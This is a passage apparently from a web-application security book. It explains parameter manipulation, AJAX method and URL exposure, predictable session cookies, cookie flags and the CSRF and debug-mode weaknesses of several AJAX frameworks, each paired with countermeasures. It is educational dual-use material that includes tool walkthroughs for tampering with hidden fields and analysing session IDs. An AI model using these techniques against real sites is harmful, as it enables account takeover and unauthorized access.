such as www.example.com/login.jsp. The application assumes that since the request is 
coming from a user who has just visited the login page, the user must have authenticated 
and the application redirected the user to the protected resource. In this example, an 
attacker could simply modify the HTTP Referer header to contain the URL www.example
.com/login.jsp and then directly request www.example.com/protected/index.jsp. When the 
application checks the Referer header it will see the login page, and therefore incorrectly 
assume that the attacker is a legitimately authenticated user. 

Example
The following is an example showing how to use the WebDeveloper extension to Firefox 
to expose and manipulate hidden form fields in a web application.

 1. Install the free WebDeveloper Firefox Add-on available at http://chrispederick
.com/work/webdeveloper/. This tool allows an attacker to perform numerous 
actions on a web application. However, in this example, only the forms 
functionality will be used. 

 2. Expose hidden fi elds by right-clicking anywhere in the page and choosing Web 
Developer | Forms | Display Form Details.

http://chrispederick.com/work/webdeveloper/
http://chrispederick.com/work/webdeveloper/
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 3. Now that the hidden fi elds are exposed. Note how the fi eld Secret Hidden Field 
has now appeared and contains the value Hidden Text.
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 4. The Hidden Text value can now be edited to anything the attacker desires—
such as Manipulated Text. After the attacker has fi nished editing the value, the 
form can then be submitted as normal.
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Parameter Manipulation Countermeasure
Countermeasures for parameter manipulation are generally quite straightforward and 
rely on the same principles employed by most other web application defenses: don’t 
blindly trust input from your users. Developers should never store sensitive values on 
the client and assume they will not be tampered with. Where possible, developers should 
instead store sensitive values on the server side, which then can be accessed by the client 
through use of its session identifier. Finally, the application should always verify that the 
client has permission to perform the action that it is requesting, and that any values 
provided by the client are properly checked. 

Manipulation Wrap-Up
While the term parameter manipulation attack is often used, attackers must be aware of a 
number of subclasses of the attack. Since a parameter manipulation attack is against the 
business logic of the application, it is extremely difficult to automate the detection of any 
flaws. Thus, attackers must depend on tools such as the Firefox extension WebDeveloper 
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to inspect applications manually for any important parameters that are editable by the 
attacker. Since parameter manipulation attacks rely on attacking logic rather than any 
particular technology, they will continue to be a source of attacks against web applications 
for some time to come.

Unintended Exposure
Popularity: 3

Simplicity: 6

Impact: 4

Risk Rating: 4

Unintended exposure is an interesting issue that can crop up when an application 
is migrated from a traditional Web 1.0 application into an AJAX application. This issue 
occurs during a migration due to the shift in how clients are informed of server 
functionality.

In traditional Web 1.0 applications, developers sometimes build in backdoor func-
tionality that allows them to make changes to the production version of the application. 
This is often done because developers are not given access to production systems, but are 
held responsible for fixing bugs on them. Access to such a backdoor is often granted 
through a hidden method built into the application, which developers can call to grant 
themselves administrator privileges. As an attacker, trying to find a backdoor such as 
this in a Web 1.0 application is nearly impossible. A successful attack requires launching 
a brute-force attack against all possible method names until the backdoor method is 
found, and then brute-forcing the required arguments to the method. 

When a traditional web application is upgraded to add AJAX functionality, methods 
that were previously hidden can sometimes be exposed. Often, this is because in an ef-
fort to make a program work, all methods in the application are tagged as public. Buried 
in the chunk of JavaScript that is now sent down to the client, the backdoor function will 
be listed among all the other methods. For this reason, attackers can uncover these meth-
ods by manually inspecting all methods found when performing method discovery 
against a target application. Often, backdoor methods will be obviously named and eas-
ily found. As shown in Figure 6-4, once an attacker obtains a list of methods from the 
application it can be carefully examined for any methods that appear to have been unin-
tentionally exposed.

In addition to hidden methods, hidden URLs may be exposed during a Web 1.0 to 
AJAX transition. Like hidden methods, the exposure of hidden URLs is due primarily to 
developers not fully understanding what is now exposed in the JavaScript sent down to 
a client. For example, when using an AJAX framework to add AJAX functionality to a 
traditional application, URLs that were in the source tree of an application but never 
exposed to clients may now be automatically added by the AJAX framework. To expand 
this example, consider the case of a hidden administrative portion of an application run-
ning at www.example.com/app/admin. While this URL was always hidden from 
clients, when a developer ran the application source through an AJAX framework to 
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add AJAX functionality, the framework automatically generated JavaScript describing 
methods found in the administrator portion of the application. Now whenever a client is 
sent JavaScript describing the methods exposed on the server, the list contains any meth-
ods found in the administrator portion of the site. This allows an attacker to learn about 
the previously hidden administrator URL, connect to it, and perform administrative 
functions.

Unintended Exposure Countermeasure
Countermeasures for unintended exposure are straightforward, although unfortunately 
for developers, no automated process is available to perform them. Once a migration to 
a AJAX functionality is complete, developers should analyze their application to ensure 
that no previously hidden information is exposed. Tools such as WebScarab can greatly 
aid the developer in analyzing the raw data being sent between the client and server for 
anything that shouldn’t be exposed. 

Figure 6-4  A backdoor method
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Exposure Wrap-Up
These exposures are an AJAX issue, because in a Web 1.0 application there is a clear un-
derstanding by the developer of what is sent to the client and what is not. However, an 
AJAX migration often involves the use of automated scripts or default framework con-
figurations to determine what information should be exposed. When such a migration is 
complete, developers may be surprised to find out that an entirely new set of informa-
tion is now being exposed to clients.

COOKIES
Use of cookies for session identification is another issue that, while not directly affected 
by the migration to AJAX, continues to be an important security component of web ap-
plications. Developers are often lulled into a false sense of security with cookies as any 
session ID that “looks random” is assumed to be secure, but this is almost always not the 
case. The following is a brief analysis of three different ways in which session identifica-
tion cookies are generated.

The Ugly
The simplest approach to session identification cookies is Base64 encoding a simple in-
cremented number such as a timestamp. To exploit a session identifier such as this, an 
attacker needs to increment or decrement the number used as a session ID to find other 
valid session IDs. While session cookies such as this are largely not seen anymore, simple 
incremented cookies still occur occasionally and are by far the least secure method of 
session identification generation. Figure 6-5 shows that using an incremented value 
such as a timestamp is easily predictable in  WebScarab.

The Bad
While making session identification cookies plainly obvious as a sequential number is 
uncommon, a large number of equally bad cookie generation schemes are seen far more 
often.

The first example of a bad cookie scheme is the case of simply extending the use of a 
sequential number by wrapping a hash function around it and then Base64 encoding the 
result. From a quick look at a cookie generated in this manner, it would appear secure as 
if the session ID is now a random number each time. However, if an attacker encounters 
a seemingly random session ID, one of the first attacks he will try is to run a hash func-
tional on a large sequential list of numbers. If any hashes match, the attacker knows that 
sequential numbers are being used and can compromise any session ID they wish.

Another example of bad session ID generation is the use of some user-specific data 
concatenated with another source of data. Often, a session ID such as this is generated by 
concatenating the username with a timestamp, with the result being Base64 encoded and 
then used as the session ID. This method is considered highly insecure because it is very 
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easy for an attacker to notice this by analyzing multiple session IDs. When an attacker 
looks at a series of cookies generated in this way, he will notice that while the first sev-
eral characters of the cookie changes on a per-user basis, the rest of the characters change 
on a per-session basis. This is quickly deduced by an attacker to be a username and time-
stamp combination, which can be easily spoofed.

Additionally, some developers build on the previous example of using an username 
and timestamp combination, but then run the result through a hash function before 
Base64 encoding it. It is often believed that this adds significant security, because the 
result now appears random each time. Unfortunately for developers, in practice this 
approach is no more secure than simply Base64 encoding a username and timestamp 
concatenation. If the session ID appears as though it has been hashed, a username and 
timestamp combination is one of the first things an attacker will try. By logging in to the 
system, an attacker knows a username and the exact timestamp, which he can then run 
through a hash function and compare to the cookie returned by the system. If the two 

Figure 6-5  A simple session identifi er analyzed in WebScarab
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match, the attacker knows the session ID generation algorithm and can compromise any 
other session ID. Figure 6-6 shows an example of a cookie that is generated by hashing a 
username and a timestamp, so that bad cookie values can appear random at first 
glance.

Example
The following example shows how to use the WebScarab utility to analyze the random-
ness of session cookies generated by a web application. 

 1. Install and run the WebScarab utility from OWASP, which is freely available at 
www.owasp.org/index.php/Category:OWASP_WebScarab_Project.

 2. Point the web browser at the WebScarab web proxy, which will be running on 
the localhost at port 8008 by default. 

Figure 6-6  Cookie values appear to be random.

www.owasp.org/index.php/Category:OWASP_WebScarab_Project
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 3. Connect to the target site in the web browser. In this case, the site http://labs
.isecpartners.com/HackingExposed20/timestamp_cookie.php is used.

 4. Check the WebScarab summary to ensure that a cookie has been set in the 
Set-Cookie column. Note the ID number of this request. 

http://labs.isecpartners.com/HackingExposed20/timestamp_cookie.php
http://labs.isecpartners.com/HackingExposed20/timestamp_cookie.php
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 5. Click the SessionID Analysis button at the top of WebScarab. In the Previous 
Requests drop down menu, select the request idea number noted in step 4. 
Click the Test button at the bottom to ensure that WebScarab is able to identify 
the Session ID in the request. If WebScarab identifi es the Session ID, a box will 
pop up confi rming this. 

 6. After confi rming that WebScarab can identify the Session ID, set the sample size 
fi eld to 1000 queries and click the Fetch button to begin testing. 
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 7. Once testing has begun, select the item in the Session Identifi er drop-down 
menu of the Analysis tab in the SessionID Analysis window. 
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 8. Finally, after selecting the Session ID, select the Visualisation tab of the 
SessionID Analysis window to view a graph of the predictability of session IDs 
in the target application. 
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Cookie Flags
In additional to the session ID component of cookies, several other factors can contribute 
significantly (or detract significantly) from a cookie’s security. These components include 
the Secure and HTTPOnly flags, the Domain and Path properties, and any extra site-
specific items.

Secure Flag
The Secure flag restricts the browser from sending the cookie in the clear over HTTP. 
Instead, the cookie will be transmitted only when the communication is over HTTPS. 
This flag is supported by all major browsers and will prevent an attacker from being able 
to obtain the cookie by sniffing the network.

HTTPOnly Flag
The HTTPOnly flag is used to prevent attacks from stealing cookies via cross-site script-
ing (XSS). The flag achieves this by disabling script in the browser from accessing 
any cookies. This flag is currently understood only in Microsoft Internet Explorer and 
Mozilla Firefox. 
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Domain Property
The Domain property of a cookie is used to limit the scope of servers allowed to access 
the cookie. If an application sets its domain property only to the web server on which it 
is running, for example, www.example.com, then only www.example.com will be able 
to access it. For additional security, the domain property should simply be set to blank 
("domain=") to ensure that only the setting server can access the cookie. Attackers 
should check all cookies for the restrictiveness of the domain property, because if it is not 
restrictive, an attacker will be able to steal the cookie through attacks launched from 
other servers in the same domain. For example, consider the case of an attacker who 
wants to steal the cookie of a user logged in to www.example.com and the domain prop-
erty is restricted only to the .example.com domain instead of www.example.com. If the 
attacker is able to perform a XSS attack from forums.example.com or joes-pc.example
.com or any other system in the example.com domain, she will be able to steal a user’s 
cookie because any site from inside the example.com domain will be allowed to access 
the cookie.

Path Property
The Path property of a cookie is used to further limit the scope of what applications on 
a server are allowed to access a given cookie. Attackers will have to find a hole in the 
specific application to obtain a user’s cookie rather than using any application on the 
server. For example, consider the case where a server is running multiple applications, 
such as a store at www.example.com/store/ and a forum for customers at www.example
.com/forum/. If the Path property is not set to www.example.com/store/, an attacker 
could perform a XSS attack via www.example.com/forum/ and still access cookies set 
by www.example.com/store/. Unfortunately, there are ways to circumvent the Path 
property. See Chapter 2 for details.

Site-Specifi c Items
Numerous custom items can be added to an application’s cookies on a site-by-site basis. 
While added items generally do not impact the security of the application, attackers can 
examine each item in a cookie for a potential security impact. Developers have been 
known to include items in cookies that have compromised the security of the entire 
application—for example, a cookie containing the item isAdmin=false. If an attacker 
set the item to isAdmin=true in a cookie, the attacker would obtain administrator 
access to the system. 

Example
The following example shows how to use the iSEC Partners SecureCookies tool to 
analyze the security options used in cookies generated by a target web application.

 1. Install the iSEC Partners SecureCookies tool available for free at www
.isecpartners.com/tools.html. This tool analyzes a cookie’s fl ags and properties, 
as well as any site-specifi c items for common security misconfi gurations. 

www.isecpartners.com/tools.html
www.isecpartners.com/tools.html
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 2. Run SecureCookies by opening a Windows command prompt, changing to the 
SecureCookies directory, and executing the program with the target web site as 
an argument. 

 3. After SecureCookies has run, it will dump its results to an HTML fi le for review 
in a web browser.
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Cookie Wrap-Up
Developers can be lulled into a false sense of security by using cookies that appear ran-
dom for session identification, when in reality it is trivial for an attacker to compromise 
any user’s cookie after a small amount of analysis. Additionally, a number of flags can be 
appended to cookies to increase or decrease the security of the cookies an application 
generates. Several freely available tools allow attackers to analyze the predictability of 
session ID cookies, as well as automatically analyze a cookie’s flags. Despite being unaf-
fected by the change from a Web 1.0 application to an AJAX application, cookies remain 
a critical component of web application security.

SUMMARY
As shown, numerous steps are involved in the information gathering process that occurs 
before successful attacks can be launched on an AJAX application. An attacker must 
cover areas such as what type of AJAX application is in use, what its methods are, and 
whether any of the methods appear to be unintentionally exposed. However, the attack-
er’s job is made significantly easier by the availability of several free tools that can help 
at every stage of this process. Once the process is complete, targeted technical attacks 
such as XSS and cross-site request forgery can begin in earnest.
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Exposures of AJAX frameworks are generally quite similar and are often caused by 
developers’ lack of understanding of what information their application is sending 
to clients. This lack of understanding is easily compounded by the use of different 

AJAX frameworks. One style of framework might by default send only certain data to 
users of an application and another style of framework might send entirely different 
data. While this may not seem like a security issue in and of itself, web applications often 
contain functionality or information that developers expect to remain secret. Once 
exposed, functionality or information such as this can thoroughly compromise the 
security of the web application. In addition, each AJAX framework offers different levels 
of built-in protections for web applications that use it. For example, some AJAX 
frameworks offer built-in protection for cross-site request forgery (CSRF) attacks, while 
others require that developers build their own protections into their applications. 

Two different styles of AJAX frameworks can have significantly different impacts on the 
security of a web application. The first type of framework is known as a proxy or server
framework. This style of framework is generally installed on the web server along with the 
web application. Once installed, it acts as a proxy between the web application on the server 
and the client. The proxy framework first creates JavaScript that describes the methods that 
the web application on the server contains. This JavaScript is then sent down to the client so 
that when the client wants to call methods on the server, the request is sent to the proxy first, 
which then reformats the request and passes on the method to the server. The data that 
results from the call is then passed from the server to the proxy, which reformats the data 
and sends it down to the JavaScript in the client. The other style of AJAX framework, a client 
framework, generally functions as an aide to a developer writing a new AJAX application. 
These frameworks focus on providing the developer with a number of prewritten widgets 
and effects that they can easily incorporate into their AJAX applications.

The differences between the two styles of frameworks, including how they transfer data 
between the client and server and how you determine which framework is in use, are 
explored in more detail in Chapter 6. Due to the differences in functionality these two classes 
of AJAX frameworks provide, they will be analyzed in different ways in this chapter.

This chapter covers several AJAX frameworks of both the proxy and client types. For 
each server framework, information is provided about the framework, common installa-
tion steps, and their potential effect on security. A discussion of common exposures that 
could lead to security issues is also included. 

While they will be marked with the “Attack” icon, these issues are not in and of themselves attacks but 
rather exposures that could easily lead to security issues. 

In the case of client frameworks, information is provided here about the framework 
as well as a discussion of a main attack surface, the serialization format. 

DIRECT WEB REMOTING
Direct Web Remoting (http://getahead.org/dwr/) is a true proxy framework for web 
applications written in Java. DWR allows a developer to write his or her web application in 

http://getahead.org/dwr/
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Java, and then use DWR dynamically to generate corresponding JavaScript. The generated 
JavaScript can then be sent down to clients, where it can be used to call methods in the Java 
web application. When a method is called, the data is sent to the DWR servlet on the 
application server. The DWR servlet acts to marshal the data back and forth between the 
JavaScript in the client and the Java methods in the web application. 

Installation Procedures
The following steps are taken by the developer to install DWR:

 1. First, ensure you have a correctly functioning Java Servlet container such as 
Apache Tomcat or IBM WebSphere. 

 2. Download the latest version of DWR from http://getahead.org/dwr/
download. Once downloaded, the dwr.jar fi le should be moved to the WEB-
INF/lib directory of the web application.

 3. Edit confi guration fi les to add DWR functionality. First, the WEB-INF/web.xml 
file should be edited to add new <servlet> and <severlet-mapping>
sections for DWR, as described at http://getahead.org/dwr/getstarted. 
This step has the potential to affect the security of the application, as the 
configuration specified by the DWR web site enables debugging mode by 
default. Ensure that once testing is complete, debug mode is disabled.

 4. Write a dwr.xml confi guration fi le, which should be placed in the WEB-INF 
directory. This step also has the potential to affect the security of the application, 
because this fi le will defi ne which classes DWR will generate into JavaScript that is 
sent to the client. 

 5. Finally, the DWR-generated JavaScript fi les are added to the HTML fi les of the 
web application to incorporate the newly created DWR functionality. 

Unintended Method Exposure
Popularity: 4

Simplicity: 6

Impact: 3

Risk Rating: 4

Unintended method exposure can be an issue for developers using DWR. As 
discussed in the upcoming Case Study on exposures, web application developers may 
have previously relied on the fact that users of their web application would be aware of 
only methods about which they were explicitly informed. With Web 2.0 applications, 
however, the line of what functionality gets exposed to users has often shifted. This is 
partially the case with DWR applications. Although, by default, DWR doesn’t expose all 
classes in a web application, once a class has been marked to be exposed it will expose all 
methods in this class. If a class contains methods that should not be exposed to users, 
developers will need to use the include and exclude elements to perform finer grained 
access control. Fortunately for developers, testing for this exposure is far easier for them 

http://getahead.org/dwr/download
http://getahead.org/dwr/download
http://getahead.org/dwr/getstarted
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than for attackers. For the developers, before each class is exposed, the included methods 
should be quickly reviewed to ensure that only approved methods are being exposed. 
On the attacking side, attackers will need to obtain a full list of methods exposed by the 
application and then comb through this list to attempt to find any unintentionally 
exposed sensitive methods. The process of obtaining methods exposed by the application 
is covered in Chapter 6 as well as in the following attack exposure.

Debug Mode
Popularity: 2

Simplicity: 6

Impact: 3

Risk Rating: 4

A common exposure that can affect DWR web applications is leaving debug mode 
enabled. Once testing is complete, developers may often leave debug mode enabled, 
which can allow attackers to obtain information about the web application. In DWR, 
developers may accidentally leave debug mode enabled for a variety of reasons. First, if 
they are following the DWR getting started guide (http://getahead.org/dwr/getstarted), 
the default state of the configuration enables debug mode. Second, when a web 
application using DWR is running, no visual clues are displayed in the application to 
indicate that debug mode is currently enabled. Thus, it is easy for developers to forget 
that debug mode is enabled. For developers and attackers alike, testing for enabled 
debug mode is a simple matter. For example, if the target site is www.cybervillains
.com/samplewebapp/, then one can simply browse to www.cybervillains.com/
samplewebapp/dwr/. If debug mode is disabled, the attacker/developer will be shown 
a page stating “Access to debug pages is denied.” However, if DWR debug mode is 
enabled, the attacker/developer will be greeted with a page describing the classes of the 
web application that are known to DWR. From here, one can browse through each class 
and obtain a full list of methods exposed by that class.

Debug Mode
The countermeasure for debug mode is quite straightforward: disable debug mode in 
production environments. This is accomplished by using the following settings in the 
dwr-servlet <servlet> section of the WEB-INF/web.xml configuration file:

  <init-param>

     <param-name>debug</param-name>

     <param-value>false</param-value>

  </init-param>

Alternatively, you can simply remove the debug section entirely from the WEB.xml 
configuration file. 

http://getahead.org/dwr/getstarted
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Regarding exposure to CSRF and JavaScript hijacking attacks, DWR is unique among 
AJAX frameworks. The 1.x branch of DWR is similar to other AJAX frameworks in that 
it includes no protections against CSRF and JavaScript hijacking attacks. However, the 
2.x branch of DWR does include protections against CSRF and JavaScript hijacking by 
using the JSESSIONID cookie value. Instead of simply verifying the JSESSIONID
cookie value in the header, DWR 2.x also appends the cookie value in the body of a HTTP
POST request. If this cookie value is not present in the body of the POST request, then the 
request is rejected. This and other CSRF topics are discussed in Chapter 4.

These anti-CSRF protections are enabled out of the box on all DWR 2.x applications. 
However, DWR offers a way for developers to disable these protections if they are inter-
fering with their web application. By setting the crossDomainSessionSecurity=
false value in the init-param section of the web.xml file, the CSRF and JavaScript 
hijacking protections are removed. Luckily for an attacker, it is trivial to determine 
whether crossDomainSessionSecurity has been set to false and the application is 
vulnerable to CSRF. The attacker accomplishes this by using the web application and 
viewing HTTP POST requests sent to the application. If the POST request contains the 
JSESSIONID cookie value in the body of the request as well as the header, then the 
crossDomainSessionSecurity protections are enabled; if not, the application may 
be vulnerable. 

For more information on CSRF, refer to Chapter 4 and Jesse Burns’s whitepaper at www.isecpartners
.com/files/XSRF_Paper.pdf. 

GOOGLE WEB TOOLKIT
Google Web Toolkit (http://code.google.com/webtoolkit) is an AJAX framework 
provided by Google to allow Java developers to create AJAX applications. This is 
achieved by allowing developers to write code in Java and then use the GWT to turn the 
application into plain HTML and JavaScript files, which can be hosted on any traditional 
web server such as Apache or Microsoft IIS. Since GWT does not actually function as a 
proxy between the client and the web application, it does not appear to be a proxy-style 
framework at first. However, since GWT is taking an application that may contain hidden 
functionality and exposing this and all methods to the user, it is treated as a proxy 
framework for the purposes of this analysis.

Installation Procedures
The following steps are taken by the developer to install GWT:

 1. Ensure you have the Sun Java Software Development Kit (SDK) installed. 

 2. Download the latest version of GWT from http://code.google.com/
webtoolkit/download.html.

www.isecpartners.com/files/XSRF_Paper.pdf
www.isecpartners.com/files/XSRF_Paper.pdf
http://code.google.com/webtoolkit
http://code.google.com/webtoolkit/download.html
http://code.google.com/webtoolkit/download.html
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 3. Use the supplied applicationCreator script to generate the fi les needed to 
support the soon-to-be-created Java web application. Write and debug the 
application in the Java integrated development environment (IDE) of choice 
until the application is ready to be deployed.

 4. When the application development is fi nished, it is ready to be compiled by 
GWT. Run the GWT compile script, which turns the Java application into a set 
of JavaScript and HTML fi les. These fi les can be copied to any web server to be 
served to the client. 

Unintended Method Exposure
Popularity: 4

Simplicity: 6

Impact: 3

Risk Rating: 4

In terms of method exposure, GWT is an interesting case study. While other AJAX 
frameworks often require developers to declare which classes should be exposed, GWT 
by default exposes all methods in the application. This is a product of GWT’s unique 
compiled architecture, which is different from the usual proxy style of other server AJAX 
frameworks. Once GWT compiles an application, the results are JavaScript and HTML 
files, which do not require any sort of middleware proxy. This process can be a problem 
for developers who want sensitive methods to remain hidden. However, it is not as large 
a benefit to attackers as you might think. This is because, instead of normal method 
names, all the method names in JavaScript compiled by GWT appear obfuscated. For 
example, a typical method name in GWT JavaScript is ab or vF instead of the typical 
doLogin or sensitiveMethod. Therefore, while all methods may be exposed to an attacker, 
they will not be in a form that can be easily read. 

As is the case with most other frameworks, GWT has issues with CSRF. GWT offers 
no built-in protections for web applications against CSRF. This means that developers 
will need to build their own protections into their applications.

The process for determining whether a GWT application is vulnerable to CSRF 
attacks is similar to that of other frameworks. An attacker views HTTP GET and POST
requests to a GWT web application during normal usage. If these requests do not contain 
any secret values, such as repeating the JSESSIONID in the body of the request such as 
DWR, then the web application is vulnerable to a CSRF attack. However, while GWT 
does not offer built-in CSRF protections, Google has made available a document detailing 
GWT’s susceptibility to CSRF as well as ways for web application developers to protect 
their applications against common security issues such as CSRF (see http://groups
.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications). 

For more information on CSRF attacks, refer to Chapter 4. 

http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications
http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications
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In addition to CSRF, GWT web applications are also susceptible to JavaScript hijacking 
attacks, due to GWTs usage of JavaScript Object Notation (JSON) for communication 
between the client and server. Fortunately for developers, by default GWT uses the HTTP
POST method to submit requests to the server. This limits the exposure of GWT web 
applications to JavaScript hijacking attacks. However, it should be noted that it is trivial 
to change the GWT applications to use the HTTP GET method to submit requests. If they 
decide to use the HTTP GET method, developers need to realize that they must implement 
JavaScript hijacking defenses into their applications; otherwise, they will be vulnerable. 

XAJAX
Xajax (www.xajaxproject.org) is a server AJAX framework for PHP Hypertext Preproces-
sor web applications. It supports applications written in the 4.3.x and 5 branches of PHP, 
as well as the Apache and IIS platforms. Xajax functions in the way of a typical server 
framework by acting as a middleware object between the client and code on the server. 
When the client wants to call a method on the server, JavaScript in the client sends the call 
up to the Xajax object, which then passes the call on to the PHP methods on the server. 
When the PHP method returns data, the Xajax object then passes the data back down in 
XML format to the JavaScript on the client and gets displayed in the user’s browser.

Installation Procedures
The following steps are taken by the developer to install Xajax:

 1. Ensure that the web application is using either the 4.3.x or 5 branch of PHP. 

 2. Download the latest version of the Xajax framework from http://prdownloads
.sourceforge.net/xajax/.

 3. Edit the application to include the functionality of the Xajax framework. First, 
include the core Xajax library, xajax.inc.php. 

 4. Instantiate the master Xajax object by creating a new Xajax object. This object 
will function as a proxy between JavaScript on the client and the methods the 
client want to call that are located in the PHP application.

 5. Mark which PHP methods should be exposed to the client. This step has the 
most potential to affect the security of the application. This is normally achieved 
by using the registerFunction() method, which takes the name of a PHP 
method to be exposed as the argument. This function can then be called repeatedly 
to append PHP methods you want to expose to the list. Another method of 
exposing methods is described in detail in the “Attack” section that follows.

 6. Once the desire methods have been exposed, two fi nal operations are 
performed. First, start Xajax and tell it to handle incoming clients by 
calling the processRequests() method. Last, insert the dynamically 
generated JavaScript into the HTML sent to the client by invoking the 
printJavascript() Xajax method. 

www.xajaxproject.org
http://prdownloads.sourceforge.net/xajax/
http://prdownloads.sourceforge.net/xajax/
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Unintended Method Exposure
Popularity: 4

Simplicity: 6

Impact: 3

Risk Rating: 4

Unintended method exposure can be an issue for developers using Xajax. As dis-
cussed in the Case Study on exposures at the end of this chapter, web application devel-
opers may have previously relied on the fact that users of their web application would 
know only about methods about which they were explicitly told. Unfortunately, with 
Web 2.0 applications, the line of what functionality gets exposed to users has often shifted. 
This is partially the case with Xajax applications, although less so than other AJAX frame-
works. While all the methods of the application have to be manually added by default, 
Xajax provides developers with an easy way to register all methods in the application. 
With Xajax applications, if developers have class definitions with a large number of 
methods, they can use code provided on the Xajax site (http://wiki.xajaxproject.org/
Xajax_0.2:_Tips_and_Tricks:_Auto_Register_Methods) to register all the methods of the 
provided class automatically. While this is a smaller attack surface than other frameworks 
because of the additional steps a developer needs to take to expose all methods, it should 
not be overlooked. As with any other framework, because Xajax provides developers 
with easy ways to expose all methods in their application, developers need to ensure that 
they do not accidentally expose any sensitive methods. On the attacking side, attackers 
will need to obtain a full list of methods exposed by the application and then comb 
through this list to attempt to find any unintentionally exposed sensitive methods.

The process of obtaining methods exposed by the application is covered in Chapter 6. 

As with most other frameworks, Xajax offers no built-in protection against CSRF 
attacks. Since Xajax offers no built-in protections, developers will need to ensure that 
their applications provide sufficient protection against CSRF. For attackers trying to 
determine whether a Xajax application is vulnerable to CSRF attacks, the process is 
similar to other frameworks. They simply need to view HTTP GET and POST requests to 
a Xajax web application during normal usage. If these requests do not contain any secret 
values, such as repeating the JSESSIONID in the body of the request like DWR, then the 
web application is vulnerable to a CSRF attack.

For more information on CSRF attacks, refer to Chapter 4.

Fortunately for developers, however, while Xajax does not offer any built-in 
protections to CSRF attacks, web applications using Xajax are immune from JavaScript 
hijacking attacks. This is because JavaScript hijacking depends on the web application 
sending data in JSON or JavaScript formats downstream in response to calling 

(http://wiki.xajaxproject.org/Xajax_0.2:_Tips_and_Tricks:_Auto_Register_Methods
(http://wiki.xajaxproject.org/Xajax_0.2:_Tips_and_Tricks:_Auto_Register_Methods
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methods on the server. In all current versions, Xajax supports only sending data in 
XML format. This design decision protects developers using Xajax from JavaScript 
Hijacking attacks. 

SAJAX
Sajax (www.modernmethod.com/sajax/) is a server AJAX toolkit with support for 
web applications written in a large number of languages. At time of writing, Sajax 
supports ASP, Cold Fusion, PHP, Python, Ruby, as well as several others. Sajax functions 
as a traditional proxy-style AJAX framework by allowing developers to define methods 
from the web application to be exposed. Once the exposed methods are tagged, 
developers then include JavaScript that is automatically dynamically generated by 
Sajax into the HTML of the page. 

Installation Procedures
The following steps are taken by the developer to install Sajax:

 1. Download the Sajax framework from www.modernmethod.com/sajax/
download.phtml.

 2. Make a few edits to the application to add Sajax functionality. First, include the 
core Sajax library in the application. The name of this library varies depending 
on the language in use. For example, the PHP library name is Sajax.php while 
the Cold Fusion library name is Sajax.cfm.

 3. Instantiate the Sajax object by calling the sajax_init() function. This object 
will serve as the proxy between JavaScript on the client and the methods in the 
web application on the server.

 4. Declare the methods in the application that Sajax will expose to clients in the 
dynamically generated JavaScript. This is accomplished by calling the sajax_
export() function, which takes as arguments all methods to expose in a 
comma-separated list. 

 5. Once the desire methods have been exposed, two fi nal operations are 
performed. First, Sajax is started and told to handle incoming clients by calling 
the sajax_handle_client_request() method. Last, the dynamically 
generated JavaScript is inserted into the HTML sent to the client by invoking 
the sajax_show_javascript() Sajax method.

Common Exposures
Like several other AJAX frameworks, Sajax offers web application developers no built-in 
protection against CSRF attacks. With no built-in protection, developers need to build CSRF 
protection directly into their applications. To determine whether a Sajax application is 
vulnerable to CSRF attacks, an attacker views the HTTP GET and POST requests to the 

www.modernmethod.com/sajax/
www.modernmethod.com/sajax/download.phtml
www.modernmethod.com/sajax/download.phtml
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application. If the requests contain only guessable information in the body and do not repeat 
a secret value such as the JSESSIONID, then the application is vulnerable to CSRF attacks.

For more information on CSRF attacks, refer to Chapter 4.

In addition to CSRF attacks, Sajax is particularly vulnerable to JavaScript hijacking 
attacks. This vulnerability arises from two issues. First, Sajax sends data in JavaScript 
format downstream to clients. Second, the type request type in Sajax is HTTP GET. These 
two issues mean that developers will need to implement JavaScript hijacking protections 
in their applications since by default, applications using the Sajax framework are 
vulnerable to JavaScript hijacking. 

Unintended Method Exposure
Popularity: 4

Simplicity: 6

Impact: 3

Risk Rating: 4

In the areas of other common exposures such as debug functionality and exposing 
potentially sensitive methods, Sajax is less vulnerable than other frameworks. For example, 
enabling debug functionality in Sajax results in a number of JavaScript alerts being generated 
when the web application is used. For this reason, is it virtually impossible for a developer 
to accidentally leave debugging functionality enabled on a production web application 
using Sajax. In the case of exposing potentially sensitive methods in Sajax, at the time of 
writing, it does not provide any automated way to add large numbers of methods to be 
exposed. This means that each method must be manually exposed by a developer through 
the use of the sajax_export() function. Due to this, it is also highly unlikely that a de-
veloper would manually expose a sensitive method in a web application. 

Unintended Method Exposure
There is no automatic countermeasure to unintended method exposure. After completing 
an AJAX application, developers should always manually view their applications 
through a web proxy tool such as WebScarab to see what exactly the application exposes 
to clients. 

DOJO TOOLKIT
The Dojo Toolkit (http://dojotoolkit.org/) is a client framework that aids in the develop-
ment of AJAX web applications. Dojo offers several features to simplify development 
of an AJAX application, such as comprehensive widgets and effects libraries. 

http://dojotoolkit.org/
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Additionally, Dojo allows developers to include only the sections of the Dojo APIs that are 
used by their application. This is done to address concerns developers often have with the 
growing size of JavaScript that AJAX applications need to send to users for the applica-
tion to function. As with Prototype and other AJAX client frameworks, Dojo is solely a 
client-side library of JavaScript files and thus can work with any server-side technology 
in which a web application is written, such as PHP or Java. 

Serialization Security
Due to the very nature of client-side AJAX frameworks, the available attack surface as 
compared with server-side frameworks is greatly reduced. This is because server-side 
frameworks must deal with exposing methods to clients, handling debugging, and 
providing protection against common security threats such as CSRF and JavaScript 
hijacking. Client-side frameworks, on the other hand, are primarily focused on providing 
easy-to-use widgets for UI development and abstracting away browser-specific 
XMLHTTPRequest issues. For this reason, the primary area in which client-side frameworks 
can help or hinder security of a web application is their data serialization format. 

The Dojo Toolkit, by default, uses the JSON serialization format, which can easily 
lead to susceptibility to JavaScript hijacking attacks. Fortunately for developers, the 
default method of submitting requests to the server is with HTTP POST. This can help 
limit the exposure of JavaScript hijacking attacks if the web application server is then 
built to support only HTTP POSTs; however, developers often substitute the use of the 
HTTP GET method for HTTP POST due to performance and ease of use. Developers need 
to be aware that allowing HTTP GET requests opens their applications to JavaScript 
hijacking attacks. 

While the HTTP GET method should be avoided in favor of the HTTP POST method, 
an entirely different serialization format should be used as well. If security is a concern for 
web applications using the Dojo Toolkit, using XML as the serialization format instead of 
JSON is recommended as a defense in depth. Due to the very nature of JavaScript Hijack-
ing attacks, using XML as the data serialization format is a protection against them. 

JQUERY
 jQuery (http://jquery.com/) is a client framework that aids in the development of AJAX 
web applications. JQuery offers developers the ability to manipulate multiple elements 
